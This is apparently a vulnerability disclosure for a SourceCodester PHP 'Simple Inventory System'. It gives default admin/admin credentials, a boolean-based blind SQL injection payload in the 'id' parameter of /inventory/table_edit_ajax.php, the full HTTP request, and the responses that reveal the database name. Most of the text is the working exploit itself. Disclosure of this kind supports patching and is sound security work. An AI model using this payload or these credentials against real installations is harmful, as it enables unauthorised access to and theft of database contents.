The password for the backend login account is: admin/admin
vendors: https://www.sourcecodester.com/php/4481/simple-inventory-system-using-phpmysql.html
Vulnerability File: /inventory/table_edit_ajax.php
Vulnerability location: /inventory/table_edit_ajax.php
[+] Payload: id=6' and length(database()) =8--+&price=1&qty_sold=111 // Leak place ---> id
Current database name: liveedit,length is 8
POST /inventory/table_edit_ajax.php HTTP/1.1
Host: 192.168.1.19
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:46.0) Gecko/20100101 Firefox/46.0
Accept: */*
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
DNT: 1
Content-Type: application/x-www-form-urlencoded
X-Requested-With: XMLHttpRequest
Referer: http://192.168.1.19/inventory/tableedit.php
Content-Length: 55
Cookie: PHPSESSID=4udcglaaucdqgpdolfhsjerl4q
Connection: close
id=6' and length(database()) =8--+&price=1&qty_sold=111When length (database (()) = 7, Content-Length: 4;location: index.php

When length (database (()) = 8, Content-Length: 4;location: tableedit.php
